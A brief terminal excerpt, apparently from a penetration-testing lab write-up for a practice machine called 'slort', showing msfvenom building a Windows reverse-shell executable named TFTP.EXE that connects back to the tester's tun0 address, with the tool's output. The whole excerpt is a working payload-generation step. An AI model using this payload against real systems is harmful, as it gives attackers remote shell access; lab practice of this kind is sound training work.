msfvenom


┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/slort]
└─$ msfvenom -p windows/shell_reverse_tcp LHOST=$tun0 LPORT=1234 -f exe -o TFTP.EXE    
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 324 bytes
Final size of exe file: 73802 bytes
Saved as: TFTP.EXE

msfvenom generated a reverse shell executable; TFTP.EXE